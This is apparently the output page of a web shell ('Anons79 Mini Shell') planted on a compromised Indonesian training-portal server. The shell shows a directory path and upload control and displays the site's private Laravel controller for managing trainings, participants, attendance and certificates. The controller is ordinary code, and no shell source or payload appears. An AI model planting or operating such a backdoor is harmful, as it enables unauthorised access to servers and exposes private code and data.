Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/talent.gosepakat.id/app/Http/Controllers/Admin/
Upload File :
Current File : /home/aplikasiposinfo/www/talent.gosepakat.id/app/Http/Controllers/Admin/PelatihanController.php

<?php

namespace App\Http\Controllers\Admin;

use App\Exports\PelatihanPesertasExport;
use App\Facades\DataTable;
use App\Helpers\NotifWa;
use App\Http\Controllers\Controller;
use App\Models\MateriTugas;
use App\Models\Pelatihan;
use App\Models\PelatihanJadwal;
use App\Models\PelatihanPeserta;
use App\Models\Peserta;
use App\Models\TugasPeserta;
use App\Models\User;
use Barryvdh\DomPDF\Facade\Pdf;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Log;
use Illuminate\Validation\Rules;
use Inertia\Inertia;
use Maatwebsite\Excel\Facades\Excel;
use Illuminate\Support\Str;

class PelatihanController extends Controller
{
    public function index()
    {

        $sort = str_replace(
            ['title', 'created_at'],
            ['title', 'created_at'],
            request()->query('col')
        );

        $query = Pelatihan::withCount('pesertas')->newQuery();
        if(auth()->user()->role == "instruktur"){
            $query = $query->where('user_id',auth()->user()->id);
        }
        $result = DataTable::query($query)
            ->searchable(['title', 'start_date', 'end_date'])
            ->applySort($sort)
            ->allowedSorts(['title', 'start_date', 'end_date', 'pesertas_count'])
            ->make()->toArray();
        return Inertia::render('Admin/Pelatihan/Index', [
            'datatable' => $result
        ]);

    }



    public function create()
    {
        $instrukturs = User::where('role', 'instruktur')->get();
        return Inertia::render('Admin/Pelatihan/Create', compact('instrukturs'));
    }

    public function store(Request $request)
    {

        $request->validate([
            'title' => 'required|string|max:255',
            'description' => 'required|string',
            'startDate' => 'required|date',
            'endDate' => 'required|date',
        ]);
        DB::beginTransaction();
        try {

            $user = Auth::user();
            $pelatihan = Pelatihan::create([
                'user_id' => $request->instruktur_id,
                'title' => $request->title,
                'description' => @$request->description,
                'start_date' => $request->startDate,
                'end_date' => $request->endDate,
                'thumbnail' => $request->thumbnail->store('public/pelatihan'),
                'tahun' => date("Y"),
                'status' => $request->status == 1 ? "active" : "inactive",
                'provinsi_id' => $request->provinsi_id,
                'kabupaten_id' => $request->kabupaten_id,
                'kecamatan_id' => $request->kecamatan_id,
                'kelurahan_id' => $request->kelurahan_id,
                'ttd_jabatan' => $request->ttd_jabatan,
                'ttd_nama' => $request->ttd_nama,
            ]);

            if (isset($request->materi)) {
                foreach ($request->materi as $materi) {
                    $m = $pelatihan->pelatihan_materis()->create([
                        'code' => $materi['code'],
                        'name' => $materi['name'],
                        'description' => @$materi['description'],
                        'file' => $materi['file'] != null ? $materi['file']->store('private/materi') : null,
                    ]);
                    $m->materi_tugas()->create([
                        'name' => $materi['name'],
                        'due_date' => $request->endDate
                    ]);
                }
            }

            if (isset($request->jadwal)) {
                foreach ($request->jadwal as $jadwal) {
                    $pelatihan->pelatihan_jadwals()->create([
                        'code' => $jadwal['code'],
                        'name' => $jadwal['name'],
                        'description' => @$jadwal['description'],
                        'user_id' => @$jadwal['instruktur_id'],
                        'course_date' => $jadwal['course_date'],
                    ]);
                }
            }

            if (isset($request->syarat)) {
                foreach ($request->syarat as $syarat) {
                    if (isset($syarat['description']) && $syarat['description'] != "") {
                        $pelatihan->syarat_pelatihans()->create([
                            'description' => @$syarat['description'],
                            'type' => @$syarat['type'],
                            'required' => @$syarat['required'],
                            'required_value' => @$syarat['required_value']
                        ]);
                    }
                }
            }


            DB::commit();
            return redirect()->route('admin.pelatihan.index')->with('success', 'Berhasil menambah pelatihan ' . $pelatihan->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollBack();
            Log::error($th);
            return redirect()->route('admin.pelatihan.create')->withInput($request->all())->with('error', 'Gagal menambah pelatihan');
        }
    }

    public function show($id)
    {
        $pelatihan = Pelatihan::with('instructor', 'pelatihan_materis', 'pelatihan_jadwals', 'syarat_pelatihans', 'province', 'regency')->findOrFail($id);
        $sort = str_replace(
            ['created_at'],
            ['created_at'],
            request()->query('col')
        );

        $result = DataTable::query(PelatihanPeserta::has('peserta')->where('pelatihan_id', $id))
            ->with(['peserta.kabupaten', 'pelatihan'])
            ->searchable(['peserta.nama_lengkap', 'peserta.email', 'peserta.nik', 'peserta.kabupaten.name', 'peserta.tahun'])
            ->applySort($sort)
            ->allowedSorts(['created_at'])
            ->make()->toArray();
        return Inertia::render('Admin/Pelatihan/Detail', ['datatable' => $result, 'pelatihan' => $pelatihan]);
    }

    public function reject($id)
    {
        $pelatihan_peserta = PelatihanPeserta::with('user.peserta', 'pelatihan')->findOrFail($id);
        $pelatihan_peserta->status = 'reject';
        $pelatihan_peserta->save();
        if ($pelatihan_peserta->user->peserta->no_hp) {
            NotifWa::send($pelatihan_peserta->user->peserta->no_hp, 'Pendaftaran untuk pelatihan : *' . $pelatihan_peserta->pelatihan->title . "* DITOLAK");
        }
        return redirect(route('admin.pelatihan.show', $pelatihan_peserta->pelatihan_id))->with('success', 'Berhasil menolak peserta ' . $pelatihan_peserta->user->nama);
    }

    public function approve($id)
    {
        $pelatihan_peserta = PelatihanPeserta::with('user.peserta', 'pelatihan')->findOrFail($id);
        $pelatihan_peserta->status = 'approve';
        $pelatihan_peserta->save();
        if ($pelatihan_peserta->user->peserta->no_hp) {
            NotifWa::send($pelatihan_peserta->user->peserta->no_hp, 'Pendaftaran untuk pelatihan : *' . $pelatihan_peserta->pelatihan->title . "* DITERIMA");
        }
        return redirect(route('admin.pelatihan.show', $pelatihan_peserta->pelatihan_id))->with('success', 'Berhasil menyetujui peserta ' . $pelatihan_peserta->user->nama);
    }

    public function edit($id)
    {
        $pelatihan = Pelatihan::with('instructor', 'pelatihan_materis', 'pelatihan_jadwals', 'syarat_pelatihans', 'province', 'regency')->findOrFail($id);
        $instrukturs = User::where('role', 'instruktur')->get();
        return Inertia::render('Admin/Pelatihan/Edit', compact('pelatihan', 'instrukturs'));
    }

    public function update(Request $request, $id)
    {
        $request->validate([
            'title' => 'required|string|max:255',
            'description' => 'required|string',

        ]);
        DB::beginTransaction();
        try {
            $user = Auth::user();
            $pelatihan = Pelatihan::findOrFail($id);
            $pelatihan->update([
                'user_id' => $request->instruktur_id,
                'title' => $request->title,
                'description' => $request->description,
                'start_date' => $request->startDate,
                'end_date' => $request->endDate,
                'thumbnail' => $request->hasFile('thumbnail') ? $request->thumbnail->store('public/pelatihan') : $pelatihan->thumbnail,
                'status' => $request->status == 1 ? "active" : "inactive",
                'provinsi_id' => $request->provinsi_id,
                'kabupaten_id' => $request->kabupaten_id,
                'kecamatan_id' => $request->kecamatan_id,
                'kelurahan_id' => $request->kelurahan_id,
                'ttd_jabatan' => $request->ttd_jabatan,
                'ttd_nama' => $request->ttd_nama,
            ]);

            $delete_materi_ids = $pelatihan->pelatihan_materis()->pluck('id')->toArray();
            if(isset($request->materi) && is_array($request->materi)){
                foreach ($request->materi as $materi) {
                    $cek = $pelatihan->pelatihan_materis()->find($materi['id']);
                    if ($cek) {
                        unset($delete_materi_ids[array_search($cek->id, $delete_materi_ids)]);
                        $cek->update([
                            'code' => $materi['code'],
                            'name' => $materi['name'],
                            'description' => @$materi['description'],
                            'file' => $materi['file'] != null ? $materi['file']->store('private/materi') : $cek->file,
                        ]);
                        if ($cek->materi_tugas()->count() <= 0) {
                            $cek->materi_tugas()->create([
                                'name' => $materi['name'],
                                'due_date' => $request->endDate
                            ]);
                        }
                    } else {
                        $m = $pelatihan->pelatihan_materis()->create([
                            'code' => $materi['code'],
                            'name' => $materi['name'],
                            'description' => @$materi['description'],
                            'file' => $materi['file'] != null ? $materi['file']->store('private/materi') : null,
                        ]);

                        $m->materi_tugas()->create([
                            'name' => $materi['name'],
                            'due_date' => $request->endDate
                        ]);
                    }
                }
            }
            if (count($delete_materi_ids) > 0) {
                MateriTugas::whereIn('pelatihan_materi_id', $delete_materi_ids)->delete();
                $pelatihan->pelatihan_materis()->whereIn('id', $delete_materi_ids)->delete();
            }

            $delete_jadwals_ids = $pelatihan->pelatihan_jadwals()->pluck('id')->toArray();
            if (isset($request->jadwal) && is_array($request->jadwal)) {
                foreach ($request->jadwal as $jadwal) {
                    $cek = $pelatihan->pelatihan_jadwals()->find($jadwal['id']);
                    if ($cek) {
                        unset($delete_jadwals_ids[array_search($cek->id, $delete_jadwals_ids)]);
                        $cek->update([
                            'code' => $jadwal['code'],
                            'name' => $jadwal['name'],
                            'description' => @$jadwal['description'],
                            'user_id' => @$jadwal['instruktur_id'],
                            'course_date' => $jadwal['course_date'],
                        ]);
                    } else {
                        $pelatihan->pelatihan_jadwals()->create([
                            'code' => $jadwal['code'],
                            'name' => $jadwal['name'],
                            'description' => @$jadwal['description'],
                            'user_id' => @$jadwal['instruktur_id'],
                            'course_date' => $jadwal['course_date'],
                        ]);
                    }
                }
            }

            if (count($delete_jadwals_ids) > 0) {
                $pelatihan->pelatihan_jadwals()->whereIn('id', $delete_jadwals_ids)->delete();
            }


            $delete_syarat_ids = $pelatihan->syarat_pelatihans()->pluck('id')->toArray();
            if (isset($request->syarat) && is_array($request->syarat)) {
                if (isset($request->syarat)) {
                    foreach ($request->syarat as $syarat) {
                        if (isset($syarat['description']) && trim($syarat['description']) != "") {
                            $cek = $pelatihan->syarat_pelatihans()->find($syarat['id']);
                            if ($cek) {
                                unset($delete_syarat_ids[array_search($cek->id, $delete_syarat_ids)]);
                                $cek->update([
                                    'description' => @$syarat['description'],
                                    'type' => @$syarat['type'],
                                    'required' => @$syarat['required'],
                                    'required_value' => @$syarat['required_value']
                                ]);
                            } else {
                                $pelatihan->syarat_pelatihans()->create([
                                    'description' => @$syarat['description'],
                                    'type' => @$syarat['type'],
                                    'required' => @$syarat['required'],
                                    'required_value' => @$syarat['required_value']
                                ]);
                            }
                        }
                    }
                }

            }

            if (count($delete_syarat_ids) > 0) {
                $pelatihan->syarat_pelatihans()->whereIn('id', $delete_syarat_ids)->delete();
            }
            DB::commit();
            return redirect()->route('admin.pelatihan.index')->with('success', 'Berhasil mengubah pelatihan ' . $pelatihan->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollBack();
            Log::error($th);
            return redirect()->route('admin.pelatihan.edit', $id)->with('error', 'Gagal mengubah pelatihan');
        }
    }

    public function destroy($id)
    {
        $pelatihan = Pelatihan::findOrFail($id);
        DB::beginTransaction();
        try {
            $pelatihan->pelatihan_pesertas()->delete();
            $pelatihan->pelatihan_jadwals()->delete();
            $pelatihan->pelatihan_materis()->delete();
            $pelatihan->syarat_pelatihans()->delete();
            $pelatihan->delete();


            DB::commit();

            return redirect()->route('admin.pelatihan.index')->with('success', 'Berhasil menghapus pelatihan ' . $pelatihan->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollBack();
            Log::error($th);
            return redirect()->route('admin.pelatihan.index')->with('error', 'Gagal menghapus pelatihan ' . $pelatihan->title);
        }
    }

    public function absensi($pelatihan_jadwal_id)
    {
        $jadwal = PelatihanJadwal::with('absen_pesertas.peserta')->with([
            'pelatihan.pesertas' => function ($w) {
                $w->whereIn('status', ['approve', 'finish', 'unfinish']);
            }
        ])->findOrFail($pelatihan_jadwal_id);
        // dd($jadwal->toArray());
        return Inertia::render('Admin/Pelatihan/Absensi', compact('jadwal'));
    }

    public function printAbsensi($pelatihan_jadwal_id)
    {
        $jadwal = PelatihanJadwal::with('absen_pesertas.peserta')->with([
            'pelatihan.pesertas' => function ($w) {
                $w->whereIn('status', ['approve', 'finish', 'unfinish']);
            }
        ])->findOrFail($pelatihan_jadwal_id);

        return view('admin.pelatihan.absensi', compact('jadwal'));
    }

    public function simpanAbsensi($pelatihan_jadwal_id, Request $request)
    {
        $jadwal = PelatihanJadwal::with('absen_pesertas.peserta')->findOrFail($pelatihan_jadwal_id);

        $user = Auth::user();
        DB::beginTransaction();

        try {
            foreach ($request->absensi as $absensi) {
                $cek = $jadwal->absen_pesertas()->where('peserta_id', $absensi['id'])->first();
                if ($cek) {
                    $cek->update([
                        'hadir' => $absensi['hadir'] ?? false,
                        'user_id' => $user->id
                    ]);
                } else {
                    $jadwal->absen_pesertas()->create([
                        'peserta_id' => $absensi['id'],
                        'hadir' => $absensi['hadir'] ?? false,
                        'user_id' => $user->id
                    ]);
                }
            }
            DB::commit();
            return redirect()->route('admin.pelatihan.absensi', $pelatihan_jadwal_id)->with('success', 'Berhasil menyimpan absensi');
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollBack();
            Log::error($th);
            return redirect()->route('admin.pelatihan.absensi', $pelatihan_jadwal_id)->with('error', 'Gagal menyimpan absensi');

        }
    }

    public function tugas($id)
    {
        $pelatihan = Pelatihan::with('instructor', 'pelatihan_materis', 'pelatihan_jadwals', 'syarat_pelatihans', 'province', 'regency')->findOrFail($id);
        $sort = str_replace(
            ['title', 'created_at'],
            ['title', 'created_at'],
            request()->query('col')
        );

        $result = DataTable::query(TugasPeserta::with('materi_tugas')->with('user.peserta')->whereHas('materi_tugas.pelatihan_materi', function ($w) use ($pelatihan) {
            $w->where('pelatihan_id', $pelatihan->id);
        })->newQuery())
            ->with(['materi_tugas', 'user.peserta'])
            ->searchable(['materi_tugas.name', 'materi_tugas.due_date', 'created_at'])
            ->applySort($sort)
            ->allowedSorts(['materi_tugas.name', 'due_date'])
            ->make()->toArray();
        return Inertia::render('Admin/Pelatihan/Tugas', [
            'pelatihan' => $pelatihan,
            'datatable' => $result
        ]);
    }

    public function rejectTugas($id)
    {
        $tugasPeserta = TugasPeserta::with('user')->findOrFail($id);
        $tugasPeserta->status = 'reject';
        $tugasPeserta->save();

        $pelatihanPeserta = PelatihanPeserta::where('user_id', $tugasPeserta->user_id)->where('pelatihan_id', $tugasPeserta->materi_tugas->pelatihan_materi->pelatihan_id)->update([
            'status' => 'unfinish'
        ]);
        return redirect(route('admin.pelatihan.tugas', $tugasPeserta->materi_tugas->pelatihan_materi->pelatihan_id))->with('success', 'Berhasil menolak tugas dari ' . $tugasPeserta->user->nama);
    }

    public function approveTugas($id)
    {
        $tugasPeserta = TugasPeserta::with('user')->findOrFail($id);
        $tugasPeserta->status = 'approve';
        $tugasPeserta->save();
        $pelatihanPeserta = PelatihanPeserta::where('user_id', $tugasPeserta->user_id)->where('pelatihan_id', $tugasPeserta->materi_tugas->pelatihan_materi->pelatihan_id)->update([
            'status' => 'finish'
        ]);
        return redirect(route('admin.pelatihan.tugas', $tugasPeserta->materi_tugas->pelatihan_materi->pelatihan_id))->with('success', 'Berhasil menyetujui tugas dari ' . $tugasPeserta->user->nama);
    }

    public function printSertifikat($pelatihan_id)
    {
        $pelatihanPesertas = PelatihanPeserta::has('peserta')->with('peserta', 'user', 'pelatihan.pelatihan_materis', 'jawaban_syarat_pelatihans.syarat_pelatihan', 'user.peserta.provinsi', 'user.peserta.kabupaten')->where('pelatihan_id', $pelatihan_id)->get();

        // return view('admin.pelatihan.sertifikat',compact('pelatihanPesertas'));
        $pdf = Pdf::loadView('admin.pelatihan.sertifikat', compact('pelatihanPesertas'));
        $pdf->setPaper('A4', 'landscape');
        // $pdf->setOption(['isRemoteEnabled' => true]);
        return $pdf->stream('sertifikat.pdf');
    }

    public function exportPeserta($pelatihan_id)
    {
        $pelatihan = Pelatihan::findOrFail($pelatihan_id);
        return Excel::download(new PelatihanPesertasExport($pelatihan_id), 'peserta-' . Str::slug($pelatihan->title) . '.xlsx');
    }

    /**
     * Get available peserta that are not yet registered for the training
     */
    public function availablePeserta($id)
    {
        // Get the pelatihan
        $pelatihan = Pelatihan::findOrFail($id);

        // Get IDs of users already registered for this pelatihan
        $registeredUserIds = PelatihanPeserta::where('pelatihan_id', $id)->whereNotNull('peserta_id')
            ->pluck('peserta_id')
            ->toArray();

        // Get search query
        $search = request()->query('search');

        // Get available peserta (not yet registered for this pelatihan) with pagination and search
        $perPage = request()->query('per_page', 10);
        $query = Peserta::with('user')
            ->whereNotIn('id', $registeredUserIds);

        if ($search) {
            $query->where(function ($q) use ($search) {
                $q->where('nama_lengkap', 'like', "%$search%")
                    ->orWhere('email', 'like', "%$search%")
                    ->orWhere('nik', 'like', "%$search%")
                    ->orWhere('no_hp', 'like', "%$search%")
                    ->orWhereHas('user', function ($userQuery) use ($search) {
                        $userQuery->where('nama', 'like', "%$search%")
                            ->orWhere('email', 'like', "%$search%");
                    });
            });
        }

        $availablePeserta = $query->paginate($perPage);
        $availablePeserta->setCollection(
            $availablePeserta->getCollection()->map(function ($peserta) {
                return [
                    'id' => $peserta->id,
                    'nama_lengkap' => $peserta->nama_lengkap,
                    'email' => $peserta->email,
                    'nik' => $peserta->nik,
                    'no_hp' => $peserta->no_hp,
                    'user' => [
                        'nama' => @$peserta->user->nama,
                        'email' => @$peserta->user->email
                    ]
                ];
            })
        );

        return response()->json([
            'data' => $availablePeserta->items(),
            'total' => $availablePeserta->total(),
            'current_page' => $availablePeserta->currentPage(),
            'per_page' => $availablePeserta->perPage(),
            'last_page' => $availablePeserta->lastPage()
        ]);
    }

    /**
     * Add selected peserta to the training
     */
    public function addPeserta(Request $request, $id)
    {
        $request->validate([
            'peserta_ids' => 'required|array',
            'peserta_ids.*' => 'required|exists:pesertas,id'
        ]);

        $pelatihan = Pelatihan::findOrFail($id);
        $addedCount = 0;

        DB::beginTransaction();
        try {
            foreach ($request->peserta_ids as $pesertaId) {
                // Check if the peserta is already registered for this pelatihan
                $exists = PelatihanPeserta::where('pelatihan_id', $id)
                    ->where('peserta_id', $pesertaId)
                    ->exists();

                if (!$exists) {
                    // Add the peserta to the pelatihan
                    PelatihanPeserta::create([
                        'pelatihan_id' => $id,
                        'peserta_id' => $pesertaId,
                        'status' => 'approve' // Auto-approve since admin is adding them
                    ]);
                    $addedCount++;

                    // Send notification to the peserta
                    // $user = User::with('peserta')->find($pesertaId);
                    // if ($user && $user->peserta && $user->peserta->no_hp) {
                    //     NotifWa::send($user->peserta->no_hp, 'Anda telah ditambahkan ke pelatihan: *' . $pelatihan->title . '*');
                    // }
                }
            }

            DB::commit();
            return redirect()->route('admin.pelatihan.show', $id)
                ->with('success', 'Berhasil menambahkan ' . $addedCount . ' peserta ke pelatihan');
        } catch (\Throwable $th) {
            DB::rollBack();
            Log::error($th);
            return redirect()->route('admin.pelatihan.show', $id)
                ->with('error', 'Gagal menambahkan peserta ke pelatihan');
        }
    }

    public function finishPelatihan($id){
        DB::beginTransaction();
        try {
            $pelatihan = Pelatihan::findOrFail($id);
            $pelatihanPeserta = PelatihanPeserta::where('pelatihan_id', $pelatihan->id)->where('status','approve')->update([
                'status' => 'finish'
            ]);
            $pelatihan->update([
                'status' => 'inactive'
            ]);
            DB::commit();
            return redirect()->route('admin.pelatihan.index')->with('success', 'Berhasil menyelesaikan pelatihan ini');
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollback();
            return redirect()->back()->with('error', 'Gagal menyelesaikan pelatihan ini');
        }
    }

    public function finishPelatihanPeserta($id){
       
        DB::beginTransaction();
        try {
            $pelatihanPeserta = PelatihanPeserta::findOrFail($id);
            $pelatihanPeserta->update([
                'status' => 'finish'
            ]);
           
            DB::commit();
            return redirect()->route('admin.pelatihan.show', $pelatihanPeserta->pelatihan_id)->with('success', 'Berhasil mengubah status peserta pelatihan');
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollback();
            return redirect()->back()->with('error', 'Gagal mengubah status peserta pelatihan');
        }
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]